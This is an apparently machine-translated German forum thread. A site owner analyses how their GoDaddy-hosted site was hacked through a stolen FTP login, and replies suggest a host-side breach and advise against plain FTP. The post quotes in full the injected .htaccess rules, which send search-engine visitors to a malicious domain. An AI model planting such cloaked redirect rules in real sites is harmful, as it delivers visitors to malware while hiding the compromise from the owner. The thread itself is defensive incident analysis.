Analyse eines Website-Angriffs über ein kompromittiertes FTP-Konto

Meine Website wurde gehackt und zu diesem Zeitpunkt kenne ich einige Details, aber ich weiß nicht genau, wie es passiert ist oder wie ich es in Zukunft verhindern kann. Ich brauche Ihre Hilfe bei dem Versuch, den Angriff zu zerlegen, damit ich verhindern kann, dass er erneut auftritt. Dies ist etwas lang, aber ich möchte sicherstellen, dass ich genügend Informationen gebe, um das Problem zu lösen.

Folgendes ist passiert.

Vor einigen Wochen erhielt ich eine E-Mail von meinem Hosting-Unternehmen GoDaddy, in der es hieß, meine Website verbrauche zu viele Ressourcen und sie erwarteten, dass eine MySQL-Abfrage der Schuldige sei. Die fragliche Abfrage war eine Suchabfrage mit 5-6 Begriffen. Je mehr Begriffe Sie gesucht haben, desto komplexer wurde die Abfrage. Kein Problem. Ich habe es behoben, aber gleichzeitig hat GoDaddy mein Konto vorübergehend geschlossen und es dauerte ungefähr 3 Tage, bis alles wieder normal war.

Nach diesem Vorfall ging mein Suchmaschinenverkehr dramatisch um 90% zurück. Es war scheiße, weil ich mir nichts dabei gedacht hatte, es an das Abfrage-Fiasko abschrieb und herausfand, dass es rechtzeitig zurückkehren würde, wenn Google die Website neu zeichnete. Es war nicht so.

Vor einigen Tagen erhielt ich eine E-Mail von einem Benutzer, dass meine Website Malware hostet. Ich habe die Site direkt in meinen Browser geladen, aber nichts in die Seite eingefügt. Dann habe ich meine .htaccess-Datei überprüft und Folgendes festgestellt:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>

Niedlich. Und ein bisschen hinterhältig. Wenn ich über die Adressleiste oder ein Lesezeichen direkt zur Site navigiere, wird die Site wie gewohnt geladen. Selten gehe ich über einen Link von einer Suchmaschine auf meine Website. Deshalb blieb der Hack so lange unentdeckt, wie er es tat. Die Malware wurde auch nicht direkt auf meiner Website gehostet.

Eine schnelle Suche ergab, dass auch andere Menschen die gleichen Probleme hatten, obwohl ich vermute, dass es noch viel mehr gibt, die es einfach noch nicht entdeckt haben. Die meisten Empfehlungen lauteten, auf die neuesten Versionen der Software zu aktualisieren, Kennwörter zu ändern usw.

Da ich mein eigenes benutzerdefiniertes Content-Management-System und nicht das allgegenwärtige Wordpress verwende, habe ich etwas tiefer gegraben. Ich habe alle meine Dateien nach den allgemeinen Funktionen durchsucht, die in PHP-Exploits verwendet werden: base64_decode, exec, shell usw. Es ist nichts Verdächtiges aufgetaucht und es waren keine zusätzlichen Dateien vorhanden.

Als nächstes überprüfte ich den Dateimanagerverlauf des GoDaddy und stellte fest, dass die .htaccess-Datei genau am selben Tag geändert wurde, an dem meine Suchanfrage beschuldigt wurde, zu viele Serverressourcen verbraucht zu haben. Es könnte ein unglücklicher Zufall sein, aber ich bin mir nicht ganz sicher. Die Umleitung in der .htaccess-Datei scheint nicht ressourcenintensiv zu sein, und die Abfrage war so komplex, dass sie möglicherweise ressourcenintensiv war.

Ich wollte sichergehen, dass mein Code nicht das Problem ist, und überprüfte die Verkehrsprotokolle zu dem Zeitpunkt, als die .htaccess-Datei geändert wurde, auf verdächtige Aktivitäten, sah jedoch keine GET- oder POST-Aktivitäten, die abnormal oder wie eine aussahen Hack-Versuch.

Schließlich habe ich die FTP-Protokolle von GoDaddy angefordert und festgestellt, dass zum Zeitpunkt der Änderung der .htaccess-Datei ein nicht autorisierter FTP-Zugriff vorhanden war. Ich war zu der Zeit im Urlaub, mein Computer war physisch heruntergefahren, und es gibt niemanden mit Zugangsdaten. Es sieht so aus, als hätte derjenige, der FTP verwendet hat, den primären FTP-Benutzer für das Konto verwendet, aber mit einer IP von 91.220.0.19, die aussieht, als stamme sie aus Lettland .

Beim Shared Hosting scheint GoDaddy automatisch einen primären FTP-Benutzernamen basierend auf der Site-URL zuzuweisen. Es ist äußerst vorhersehbar, oder zumindest, als ich mein Hosting-Konto eingerichtet habe. Ich habe mich vor einigen Jahren zum ersten Mal für das Hosting-Konto angemeldet, daher hat sich das möglicherweise geändert, aber soweit ich mich erinnere, konnte ich den primären FTP-Benutzernamen nicht auswählen. Derzeit können Sie den Benutzernamen auch nicht ändern, und es scheint, dass GoDaddy dies auch nicht kann, es sei denn, Sie kündigen Ihr Konto und treten zurück. Während Sie andere FTP-Benutzer erstellen, löschen und bearbeiten können, kann der primäre FTP-Benutzer nicht gelöscht werden. Nur das Passwort kann geändert werden.

Mit Ausnahme des primären FTP-Benutzernamens sind alle Zugriffsdaten für die Site, die Datenbank, den Administrator und das Konto Kauderwelsch, zufällige Benutzernamen und Kennwörter, die aussehen, als wäre Ihre Katze auf Ihrer Tastatur gelaufen. Beispiel: lkSADf32! $ AsJd3.

Ich habe meinen Computer gründlich auf Viren, Malware usw. überprüft, falls dies die Schwachstelle im Link ist, aber es ist überhaupt nichts aufgetaucht. Ich verwende eine Firewall, ein Antivirenprogramm, und versuche, sichere Surfgewohnheiten zu verwenden.

Wenn ich meine Site aktualisiere, verwende ich Core FTP LE und eine SSH / SFTP-Verbindung. Das Hosting-Konto ist ein Linux-Setup.

Im Gespräch mit dem technischen Support von GoDaddy sind sie sich nicht sicher, wie das FTP-Passwort kompromittiert wurde. Beim Shared Hosting können sie keinen IP-Block auf FTP-Benutzerebene platzieren. Sie können auch den primären FTP-Benutzernamen nicht ändern. Als ich fragte, ob sie einen Brute-Force-Schutz für den FTP-Zugang haben, klang der Techniker zunächst unsicher, sagte dann aber, dass dies der Fall sei, nachdem ich ihn einige Male umformuliert hatte. Ich denke jedoch, dass ich mich daran erinnere, dass ich dieselbe Frage in einem früheren Anruf gestellt und gehört habe, dass GoDaddy keinen Brute-Force-Schutz für den FTP-Zugriff bietet. Zu diesem Zeitpunkt weiß ich nicht, ob sie es tun oder nicht.

Ich habe alle meine Zugangsdaten auf der ganzen Linie geändert und auch die lettische IP-Adresse mithilfe der .htaccess-Datei gesperrt (macht wahrscheinlich keinen Unterschied, wenn sie FTP verwenden), bin mir aber immer noch nicht sicher, wie das FTP funktioniert Das Passwort wurde zunächst kompromittiert.

Ich bin mir ziemlich sicher, dass das Problem nicht mit meinem Code (selbst wenn dies der Fall war, sollten die FTP-Informationen nicht offengelegt worden sein) oder mit meinem Computer lag. Was ich vermute, aber nicht zu beweisen weiß, ist, dass das FTP-Passwort brutal erzwungen wurde, da der Benutzername vorhersehbar war. Der Brute-Force-Angriff hätte auch mit den verbrauchten Serverressourcen zusammenfallen können (Schuld an meiner Abfrage), aber ich weiß nicht genug über die technische Seite von Servern, um zu wissen, ob dies möglich oder sogar wahrscheinlich ist.

Jetzt fühle ich mich am Ende dessen, was ich zu tun weiß. Ich möchte verstehen können, wie der Angriff ausgeführt wurde und wie er verhindert werden kann. Wenn Sie also weitere Ideen zu Angriffsmethoden, auszuführenden Diagnosen oder zusätzlichen Sicherheitsmaßnahmen haben, wäre ich Ihnen sehr dankbar. Ich bin mehr als bereit, Hosts zu wechseln oder Shared Hosting aufzugeben, aber ich möchte sicherstellen, dass ich verhindern kann, dass dies erneut geschieht.

Hilf mir, Obi-Wan Kenobi ...

Etwas, das beim Lesen Ihres Beitrags als vertraut empfunden wurde. Dann traf es mich: Ich hatte das vor über einem Monat gesehen, als ich versuchte, auf eine Site für ein Spiel zuzugreifen. Siehe hier - gleiches Verhalten, die Umleitungsaktion, die nur für Suchmaschinen-Referrer ausgeführt wird.

Der Domain-Name in Ihrem kam .htaccessmir bekannt vor, weil mir das Antivirenprogramm meines Heimcomputers vor Wochen laute Geräusche gemacht hatte.

Und, würden Sie es nicht wissen, der Host der Site, auf der ich das beobachtet hatte? Los Papa.

Ich glaube nicht, dass Sie brutal gezwungen wurden oder Ihr Passwort durch ein eigenes Verschulden kompromittiert wurde. Ich denke, GoDaddy war derjenige, der hier kompromittiert wurde. Und ich würde es nicht hinter mich bringen, die FTP-Passwörter im Klartext zu speichern. Einige weitere Grabungen fanden diesen Artikel , der dasselbe vorschlägt; Brute-Force-Schutz kann das geringste Problem sein.

Einfach! Verwenden Sie kein FTP. Es überträgt die Anmeldeinformationen im Klartext und überträgt alle Daten im Klartext. Dies ist eine der unsichersten Methoden zum Übertragen von Dateien. Wenn Ihr Host keine anderen Möglichkeiten unterstützt, suchen Sie einen neuen Host.